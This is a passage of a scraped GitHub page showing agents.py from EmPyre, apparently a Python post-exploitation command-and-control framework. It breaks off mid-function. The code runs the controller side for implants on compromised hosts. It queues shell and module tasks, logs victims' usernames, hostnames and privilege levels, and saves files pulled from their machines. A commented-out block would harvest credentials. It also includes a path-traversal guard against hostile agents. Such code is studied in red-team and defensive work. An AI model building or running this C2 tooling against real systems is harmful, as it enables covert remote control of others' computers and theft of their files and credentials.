This repository was archived by the owner on Dec 30, 2017. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 199
Expand file tree
/
Copy pathagents.py
More file actions
1360 lines (1062 loc) · 53 KB
/
Copy pathagents.py
File metadata and controls
1360 lines (1062 loc) · 53 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
"""
Main agent handling functionality for EmPyre.
Database methods related to agents, as well as
the GET and POST handlers (process_get() and process_post())
used to process checkin and result requests.
handle_agent_response() is where the packets are parsed and
the response types are handled as appropriate.
"""
import sqlite3, base64, string, os, iptools, json
from pydispatch import dispatcher
from binascii import hexlify
from binascii import unhexlify
from zlib_wrapper import compress
from zlib_wrapper import decompress
# EmPyre imports
import encryption
import helpers
import http
import packets
import messages
class Agents:
def __init__(self, MainMenu, args=None):
# pull out the controller objects
self.mainMenu = MainMenu
self.conn = MainMenu.conn
self.listeners = None
self.modules = None
self.stager = None
self.installPath = self.mainMenu.installPath
self.args = args
# internal agent dictionary for the client's session key, funcions, and URI sets
# this is done to prevent database reads for extremely common tasks (like checking tasking URI existence)
# self.agents[sessionID] = { 'sessionKey' : clientSessionKey,
# 'currentURIs' : [current URIs used by the client],
# 'oldURIs' : [old URIs used by the client]
# }
self.agents = {}
# reinitialize any agents that already exist in the database
agentIDs = self.get_agent_ids()
for agentID in agentIDs:
self.agents[agentID] = {}
self.agents[agentID]['sessionKey'] = self.get_agent_session_key(agentID)
# get the current and previous URIs for tasking
currentURIs,oldURIs = self.get_agent_uris(agentID)
self.agents[agentID]['currentURIs'] = currentURIs.split(',')
if not oldURIs:
self.agents[agentID]['oldURIs'] = []
else:
self.agents[agentID]['oldURIs'] = oldURIs.split(',')
# pull out common configs from the main menu object in empire.py
self.ipWhiteList = self.mainMenu.ipWhiteList
self.ipBlackList = self.mainMenu.ipBlackList
self.stage0 = self.mainMenu.stage0
self.stage1 = self.mainMenu.stage1
self.stage2 = self.mainMenu.stage2
###############################################################
#
# Misc agent methods
#
###############################################################
def remove_agent(self, sessionID):
"""
Remove an agent to the internal cache and database.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
# remove the agent from the internal cache
self.agents.pop(sessionID, None)
# remove the agent from the database
cur = self.conn.cursor()
cur.execute("DELETE FROM agents WHERE session_id LIKE ?", [sessionID])
cur.close()
def add_agent(self, sessionID, sessionKey, externalIP, delay, jitter, profile, killDate, workingHours, lostLimit, nonce):
"""
Add an agent to the internal cache and database.
"""
cur = self.conn.cursor()
currentTime = helpers.get_datetime()
checkinTime = currentTime
lastSeenTime = currentTime
# config defaults, just in case something doesn't parse
# ...we shouldn't ever hit this...
requestUris = "post.php"
userAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
additionalHeaders = ""
# profile format -> requestUris|user_agent|additionalHeaders
parts = profile.split("|")
if len(parts) == 2:
requestUris = parts[0]
userAgent = parts[1]
elif len(parts) > 2:
requestUris = parts[0]
userAgent = parts[1]
additionalHeaders = "|".join(parts[2:])
cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,nonce,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,lost_limit,taskings,results) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)",
(sessionID, sessionID, delay, jitter, externalIP, sessionKey, nonce, checkinTime, lastSeenTime, requestUris, userAgent, additionalHeaders, killDate, workingHours, lostLimit, "", ""))
cur.close()
# initialize the tasking/result buffers along with the client session key
sessionKey = self.get_agent_session_key(sessionID)
self.agents[sessionID] = {'sessionKey':sessionKey, 'currentURIs':requestUris.split(','), 'oldURIs': []}
# report the initial checkin in the reporting database
cur = self.conn.cursor()
cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (sessionID, "checkin", checkinTime, helpers.get_datetime()))
cur.close()
def is_agent_present(self, sessionID):
"""
Check if the sessionID is currently in the cache.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
return sessionID in self.agents
def is_uri_present(self, resource):
"""
Check if the resource is currently in the uris or old_uris for any agent.
"""
for option, values in self.agents.iteritems():
if resource in values['currentURIs'] or resource in values['oldURIs']:
return True
return False
def is_ip_allowed(self, IP):
"""
Check if the IP meshes with the whitelist/blacklist, if set.
"""
if self.ipBlackList:
if self.ipWhiteList:
return IP in self.ipWhiteList and IP not in self.ipBlackList
else:
return IP not in self.ipBlackList
if self.ipWhiteList:
return IP in self.ipWhiteList
else:
return True
def save_file(self, sessionID, path, data, append=False):
"""
Save a file download for an agent to the appropriately constructed path.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_name(sessionID)
if nameid: sessionID = nameid
parts = path.split("/")
# construct the appropriate save path
savePath = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1])
filename = parts[-1]
# fix for 'skywalker' exploit by @zeroSteiner
safePath = os.path.abspath("%s/downloads/" % self.installPath)
if not os.path.abspath(savePath+"/"+filename).startswith(safePath):
dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender="Agents")
dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender="Agents")
return
# make the recursive directory structure if it doesn't already exist
if not os.path.exists(savePath):
os.makedirs(savePath)
# overwrite an existing file
if not append:
f = open(savePath+"/"+filename, 'wb')
else:
# otherwise append
f = open(savePath+"/"+filename, 'ab')
# decompress data from agent
print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green")
d = decompress.decompress()
dec_data = d.dec_data(data)
print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green")
if not dec_data['crc32_check']:
dispatcher.send("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
print helpers.color("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
dispatcher.send("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
print helpers.color("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
data = dec_data['data']
f.write(data)
f.close()
# notify everyone that the file was downloaded
dispatcher.send("[+] Part of file %s from %s saved" % (filename, sessionID), sender="Agents")
def save_module_file(self, sessionID, path, data):
"""
Save a module output file to the appropriate path.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_name(sessionID)
if nameid: sessionID = nameid
parts = path.split("/")
# construct the appropriate save path
savePath = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1])
filename = parts[-1]
# decompress data:
print helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green")
d = decompress.decompress()
dec_data = d.dec_data(data)
print helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green")
if not dec_data['crc32_check']:
dispatcher.send("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
print helpers.color("[!] WARNING: File agent %s failed crc32 check during decompressing!." %(nameid))
dispatcher.send("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
print helpers.color("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))
data = dec_data['data']
# fix for 'skywalker' exploit by @zeroSteiner
safePath = os.path.abspath("%s/downloads/" % self.installPath)
if not os.path.abspath(savePath+"/"+filename).startswith(safePath):
dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender="Agents")
dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender="Agents")
return
# make the recursive directory structure if it doesn't already exist
if not os.path.exists(savePath):
os.makedirs(savePath)
# save the file out
f = open(savePath+"/"+filename, 'w')
f.write(data)
f.close()
# notify everyone that the file was downloaded
dispatcher.send("[+] File "+path+" from "+str(sessionID)+" saved", sender="Agents")
return "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1]) + "/" + filename
def save_agent_log(self, sessionID, data):
"""
Save the agent console output to the agent's log file.
"""
name = self.get_agent_name(sessionID)
savePath = self.installPath + "/downloads/"+str(name)+"/"
# make the recursive directory structure if it doesn't already exist
if not os.path.exists(savePath):
os.makedirs(savePath)
currentTime = helpers.get_datetime()
f = open(savePath+"/agent.log", 'a')
f.write("\n" + currentTime + " : " + "\n")
f.write(data + "\n")
f.close()
###############################################################
#
# Methods to get information from agent fields.
#
###############################################################
def get_agents(self):
"""
Return all active agents from the database.
"""
cur = self.conn.cursor()
cur.execute("SELECT * FROM agents")
results = cur.fetchall()
cur.close()
return results
def get_agent_names(self):
"""
Return all names of active agents from the database.
"""
cur = self.conn.cursor()
cur.execute("SELECT name FROM agents")
results = cur.fetchall()
cur.close()
# make sure names all ascii encoded
results = [r[0].encode('ascii', 'ignore') for r in results]
return results
def get_agent_ids(self):
"""
Return all IDs of active agents from the database.
"""
cur = self.conn.cursor()
cur.execute("SELECT session_id FROM agents")
results = cur.fetchall()
cur.close()
# make sure names all ascii encoded
results = [r[0].encode('ascii', 'ignore') for r in results]
return results
def get_agent(self, sessionID):
"""
Return complete information for the specified agent from the database.
"""
cur = self.conn.cursor()
cur.execute("SELECT * FROM agents WHERE session_id=?", [sessionID])
agent = cur.fetchone()
cur.close()
return agent
def get_agent_internal_ip(self, sessionID):
"""
Return the internal IP for the agent from the database.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
cur = self.conn.cursor()
cur.execute("SELECT internal_ip FROM agents WHERE session_id=?", [sessionID])
agent = cur.fetchone()
cur.close()
return agent
def is_agent_elevated(self, sessionID):
"""
Check whether a specific sessionID is currently elevated.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
cur = self.conn.cursor()
cur.execute("SELECT high_integrity FROM agents WHERE session_id=?", [sessionID])
elevated = cur.fetchone()
cur.close()
if elevated and elevated is not None and elevated != ():
return int(elevated[0]) == 1
else:
return False
def get_py_version(self, sessionID):
"""
Return the current Python version for this agent.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
cur = self.conn.cursor()
cur.execute("SELECT py_version FROM agents WHERE session_id=?", [sessionID])
py_version = cur.fetchone()
cur.close()
if py_version and py_version is not None:
if type(py_version) is str:
return py_version
else:
return py_version[0]
def get_agent_session_key(self, sessionID):
"""
Return AES session key for this sessionID.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
cur = self.conn.cursor()
cur.execute("SELECT session_key FROM agents WHERE session_id=?", [sessionID])
sessionKey = cur.fetchone()
cur.close()
if sessionKey and sessionKey is not None:
if type(sessionKey) is str:
return sessionKey
else:
return sessionKey[0]
def get_agent_nonce(self, sessionID):
"""
Return nonce for this sessionID.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
cur = self.conn.cursor()
cur.execute("SELECT nonce FROM agents WHERE session_id=?", [sessionID])
nonce = cur.fetchone()
cur.close()
if nonce and nonce is not None:
if type(nonce) is str:
return nonce
else:
return nonce[0]
def get_agent_results(self, sessionID):
"""
Return agent results from the backend database.
"""
agentName = sessionID
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
if sessionID not in self.agents:
print helpers.color("[!] Agent %s not active." %(agentName))
else:
cur = self.conn.cursor()
cur.execute("SELECT results FROM agents WHERE session_id=?", [sessionID])
results = cur.fetchone()
cur.execute("UPDATE agents SET results = ? WHERE session_id=?", ['',sessionID])
if results and results[0] and results[0] != '':
out = json.loads(results[0])
if(out):
return "\n".join(out)
else:
return ''
cur.close()
def get_agent_id(self, name):
"""
Get an agent sessionID based on the name.
"""
cur = self.conn.cursor()
cur.execute("SELECT session_id FROM agents WHERE name=?", [name])
results = cur.fetchone()
if results:
return results[0]
else:
return None
def get_agent_name(self, sessionID):
"""
Get an agent name based on sessionID.
"""
cur = self.conn.cursor()
cur.execute("SELECT name FROM agents WHERE session_id=? or name = ?", [sessionID, sessionID])
results = cur.fetchone()
if results:
return results[0]
else:
return None
def get_agent_hostname(self, sessionID):
"""
Get an agent's hostname based on sessionID.
"""
cur = self.conn.cursor()
cur.execute("SELECT hostname FROM agents WHERE session_id=? or name = ?", [sessionID, sessionID])
results = cur.fetchone()
if results:
return results[0]
else:
return None
def get_agent_uris(self, sessionID):
"""
Get the current and old URIs for an agent from the database.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
cur = self.conn.cursor()
cur.execute("SELECT uris, old_uris FROM agents WHERE session_id=?", [sessionID])
uris = cur.fetchone()
cur.close()
return uris
def get_autoruns(self):
"""
Get any global script autoruns.
"""
try:
cur = self.conn.cursor()
cur.execute("SELECT autorun_command FROM config")
results = cur.fetchone()
if results:
autorunCommand = results[0]
else:
autorunCommand = ''
cur = self.conn.cursor()
cur.execute("SELECT autorun_data FROM config")
results = cur.fetchone()
if results:
autorunData = results[0]
else:
autorunData = ''
cur.close()
return [autorunCommand, autorunData]
except:
pass
###############################################################
#
# Methods to update agent information fields.
#
###############################################################
def update_agent_results(self, sessionID, results):
"""
Update the internal agent result cache.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid : sessionID = nameid
if sessionID in self.agents:
cur = self.conn.cursor()
# get existing agent results
cur.execute("SELECT results FROM agents WHERE session_id LIKE ?", [sessionID])
agentResults = cur.fetchone()
if(agentResults and agentResults[0]):
agentResults = json.loads(agentResults[0])
else:
agentResults = []
agentResults.append(results)
cur.execute("UPDATE agents SET results = ? WHERE session_id=?", [json.dumps(agentResults),sessionID])
cur.close()
else:
dispatcher.send("[!] Non-existent agent %s returned results" %(sessionID), sender="Agents")
def update_agent_sysinfo(self, sessionID, listener="", external_ip="", internal_ip="", username="", high_integrity=0, hostname="", os_details="", process_id="", py_version=""):
"""
Update an agent's system information.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
cur = self.conn.cursor()
cur.execute("UPDATE agents SET listener = ?, internal_ip = ?, username = ?, high_integrity = ?, hostname = ?, os_details = ?, process_id = ?, py_version = ? WHERE session_id=?", [listener, internal_ip, username, high_integrity, hostname, os_details, process_id, py_version, sessionID])
cur.close()
def update_agent_lastseen(self, sessionID):
"""
Update the agent's last seen timestamp.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
currentTime = helpers.get_datetime()
cur = self.conn.cursor()
cur.execute("UPDATE agents SET lastseen_time=? WHERE session_id=?", [currentTime, sessionID])
cur.close()
def update_agent_profile(self, sessionID, profile):
"""
Update the agent's "uri1,uri2,...|useragent|headers" profile.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
parts = profile.strip("\"").split("|")
cur = self.conn.cursor()
# get the existing URIs from the agent and save them to
# the old_uris field, so we can ensure that it can check in
# to get the new URI tasking... bootstrapping problem :)
cur.execute("SELECT uris FROM agents WHERE session_id=?", [sessionID])
oldURIs = cur.fetchone()[0]
if sessionID not in self.agents:
print helpers.color("[!] Agent %s not active." %(nameid))
else:
# update the URIs in the cache
self.agents[sessionID]['oldURIs'] = oldURIs.split(',')
self.agents[sessionID]['currentURIs'] = parts[0].split(',')
# if no additional headers
if len(parts) == 2:
cur.execute("UPDATE agents SET uris=?, user_agent=?, old_uris=? WHERE session_id=?", [parts[0], parts[1], oldURIs, sessionID])
else:
# if additional headers
cur.execute("UPDATE agents SET uris=?, user_agent=?, headers=?, old_uris=? WHERE session_id=?", [parts[0], parts[1], parts[2], oldURIs, sessionID])
cur.close()
def rename_agent(self, oldname, newname):
"""
Update the agent's last seen timestamp.
"""
if not newname.isalnum():
print helpers.color("[!] Only alphanumeric characters allowed for names.")
return False
# rename the logging/downloads folder
oldPath = self.installPath + "/downloads/"+str(oldname)+"/"
newPath = self.installPath + "/downloads/"+str(newname)+"/"
# check if the folder is already used
if os.path.exists(newPath):
print helpers.color("[!] Name already used by current or past agent.")
return False
else:
# signal in the log that we've renamed the agent
self.save_agent_log(oldname, "[*] Agent renamed from " + str(oldname) + " to " + str(newname))
# move the old folder path to the new one
if os.path.exists(oldPath):
os.rename(oldPath, newPath)
# rename the agent in the database
cur = self.conn.cursor()
cur.execute("UPDATE agents SET name=? WHERE name=?", [newname, oldname])
cur.close()
# report the agent rename in the reporting database
cur = self.conn.cursor()
cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (oldname, "rename", newname, helpers.get_datetime()))
cur.close()
return True
def set_agent_field(self, field, value, sessionID):
"""
Set field:value for a particular sessionID.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
cur = self.conn.cursor()
cur.execute("UPDATE agents SET "+str(field)+"=? WHERE session_id=?", [value, sessionID])
cur.close()
def set_autoruns(self, taskCommand, moduleData):
"""
Set the global script autorun in the config.
"""
try:
cur = self.conn.cursor()
cur.execute("UPDATE config SET autorun_command=?", [taskCommand])
cur.execute("UPDATE config SET autorun_data=?", [moduleData])
cur.close()
except:
print helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema.")
print helpers.color("[!] Warning: this will reset ALL agent connections!")
def clear_autoruns(self):
"""
Clear the currently set global script autoruns in the config.
"""
try:
cur = self.conn.cursor()
cur.execute("UPDATE config SET autorun_command=''")
cur.execute("UPDATE config SET autorun_data=''")
cur.close()
except:
print helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema.")
print helpers.color("[!] Warning: this will reset ALL agent connections!")
###############################################################
#
# Agent tasking methods
#
###############################################################
def add_agent_task(self, sessionID, taskName, task=""):
"""
Add a task to the specified agent's buffer.
"""
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
if sessionID not in self.agents:
print helpers.color("[!] Agent %s not active." %(sessionID))
else:
if sessionID:
dispatcher.send("[*] Tasked " + str(sessionID) + " to run " + str(taskName), sender="Agents")
# get existing agent taskings
cur = self.conn.cursor()
cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID])
agentTasks = cur.fetchone()
if(agentTasks and agentTasks[0]):
agentTasks = json.loads(agentTasks[0])
else:
agentTasks = []
# append our new json-ified task and update the backend
agentTasks.append([taskName, task])
cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agentTasks),sessionID])
# write out the last tasked script to "LastTask.py" if in debug mode
if self.args and self.args.debug:
f = open(self.installPath + '/LastTask.py', 'w')
f.write(task)
f.close()
# report the agent tasking in the reporting database
cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime()))
cur.close()
def get_agent_tasks(self, sessionID):
"""
Retrieve tasks for our agent.
"""
agentName = sessionID
# see if we were passed a name instead of an ID
nameid = self.get_agent_id(sessionID)
if nameid: sessionID = nameid
if sessionID not in self.agents:
print helpers.color("[!] Agent " + str(agentName) + " not active.")
return []
else:
cur = self.conn.cursor()
cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID])
tasks = cur.fetchone()
if(tasks and tasks[0]):
tasks = json.loads(tasks[0])
# clear the taskings out
cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", ['', sessionID])
else:
tasks = []
cur.close()
return tasks
def clear_agent_tasks(self, sessionID):
"""
Clear out the agent's task buffer.
"""
agentName = sessionID
if sessionID.lower() == "all":
sessionID = '%'
cur = self.conn.cursor()
cur.execute("UPDATE agents SET taskings=? WHERE session_id LIKE ?", ['', sessionID])
cur.close()
def handle_agent_response(self, sessionID, responseName, data):
"""
Handle the result packet based on sessionID and responseName.
"""
agentSessionID = sessionID
# see if we were passed a name instead of an ID
nameid = self.get_agent_name(sessionID)
if nameid: sessionID = nameid
# report the agent result in the reporting database
cur = self.conn.cursor()
cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentSessionID, "result", responseName, helpers.get_datetime()))
cur.close()
# TODO: for heavy traffic packets, check these first (i.e. SOCKS?)
# so this logic is skipped
if responseName == "ERROR":
# error code
dispatcher.send("[!] Received error response from " + str(sessionID), sender="Agents")
self.update_agent_results(sessionID, data)
# update the agent log
self.save_agent_log(sessionID, "[!] Error response: " + data)
elif responseName == "TASK_SYSINFO":
# sys info response -> update the host info
parts = data.split("|")
if len(parts) < 10:
dispatcher.send("[!] Invalid sysinfo response from " + str(sessionID), sender="Agents")
else:
# extract appropriate system information
listener = parts[0].encode('ascii', 'ignore')
username = parts[1].encode('ascii', 'ignore')
high_integrity = parts[2].encode('ascii', 'ignore')
high_integrity = 1 if high_integrity.lower() == "true" else 0
hostname = parts[3].encode('ascii', 'ignore')
internal_ip = parts[4].encode('ascii', 'ignore')
os_details = parts[5].encode('ascii', 'ignore')
process_id = parts[6].encode('ascii', 'ignore')
py_version = parts[7].encode('ascii', 'ignore')
# update the agent with this new information
self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, high_integrity=high_integrity, hostname=hostname, os_details=os_details, py_version=py_version)
sysinfo = '{0: <18}'.format("Listener:") + listener + "\n"
sysinfo += '{0: <18}'.format("Internal IP:") + internal_ip + "\n"
sysinfo += '{0: <18}'.format("Username:") + username + "\n"
sysinfo += '{0: <18}'.format("High Integrity:") + str(high_integrity) + "\n"
sysinfo += '{0: <18}'.format("Hostname:") + hostname + "\n"
sysinfo += '{0: <18}'.format("OS:") + os_details + "\n"
sysinfo += '{0: <18}'.format("Process ID:") + process_id + "\n"
sysinfo += '{0: <18}'.format("PyVersion:") + py_version
self.update_agent_results(sessionID, sysinfo)
# update the agent log
self.save_agent_log(sessionID, sysinfo)
elif responseName == "TASK_EXIT":
# exit command response
# let everyone know this agent exited
dispatcher.send(data, sender="Agents")
# update the agent results and log
# self.update_agent_results(sessionID, data)
self.save_agent_log(sessionID, data)
# remove this agent from the cache/database
self.remove_agent(sessionID)
elif responseName == "TASK_SHELL":
# shell command response
self.update_agent_results(sessionID, data)
# update the agent log
self.save_agent_log(sessionID, data)
elif responseName == "TASK_DOWNLOAD":
# file download
parts = data.split("|")
if len(parts) != 3:
dispatcher.send("[!] Received invalid file download response from " + sessionID, sender="Agents")
else:
index, path, data = parts
# decode the file data and save it off as appropriate
fileData = helpers.decode_base64(data)
name = self.get_agent_name(sessionID)
if index == "0":
self.save_file(name, path, fileData)
else:
self.save_file(name, path, fileData, append=True)
# update the agent log
msg = "file download: " + str(path) + ", part: " + str(index)
self.save_agent_log(sessionID, msg)
elif responseName == "TASK_UPLOAD":
# shell command response
self.update_agent_results(sessionID, data)
# update the agent log
self.save_agent_log(sessionID, data)
elif responseName == "TASK_GETJOBS":
if not data or data.strip().strip() == "":
data = "[*] No active jobs"
# running jobs
self.update_agent_results(sessionID, data)
# update the agent log
self.save_agent_log(sessionID, data)
elif responseName == "TASK_STOPJOB":
# job kill response
self.update_agent_results(sessionID, data)
# update the agent log
self.save_agent_log(sessionID, data)
elif responseName == "TASK_CMD_WAIT":
# dynamic script output -> blocking
self.update_agent_results(sessionID, data)
# # TODO: see if there are any credentials to parse
# time = helpers.get_datetime()
# creds = helpers.parse_credentials(data)
# if(creds):
# for cred in creds:
# hostname = cred[4]
# if hostname == "":
# hostname = self.get_agent_hostname(sessionID)
# self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, cred[5], time)
# update the agent log
self.save_agent_log(sessionID, data)
elif responseName == "TASK_CMD_WAIT_SAVE":
# dynamic script output -> blocking, save data
name = self.get_agent_name(sessionID)
# extract the file save prefix and extension
prefix = data[0:15].strip()
extension = data[15:20].strip()
fileData = helpers.decode_base64(data[20:])
# save the file off to the appropriate path
savePath = prefix + "/" + helpers.get_file_datetime() + "." + extension
finalSavePath = self.save_module_file(name, savePath, fileData)
# update the agent log
msg = "Output saved to ." + finalSavePath
self.update_agent_results(sessionID, msg)
self.save_agent_log(sessionID, msg)
elif responseName == "TASK_CMD_JOB":
# dynamic script output -> non-blocking
self.update_agent_results(sessionID, data)
# update the agent log
self.save_agent_log(sessionID, data)
elif responseName == "TASK_CMD_JOB_SAVE":
# dynamic script output -> non-blocking, save data
name = self.get_agent_name(sessionID)
# extract the file save prefix and extension
prefix = data[0:15].strip()
extension = data[15:20].strip()
fileData = helpers.decode_base64(data[20:])
# save the file off to the appropriate path
savePath = prefix + "/" + helpers.get_file_datetime() + "." + extension
finalSavePath = self.save_module_file(name, savePath, fileData)
# update the agent log
msg = "Output saved to ." + finalSavePath
self.update_agent_results(sessionID, msg)
self.save_agent_log(sessionID, msg)
elif responseName == "TASK_MODULE_IMPORT":
#dynamic script output -> non-blocking
self.update_agent_results(sessionID, data)
#update the agent log
self.save_agent_log(sessionID, data)
elif responseName == "TASK_MODULE_VIEW":
#dynamic script output -> non-blocking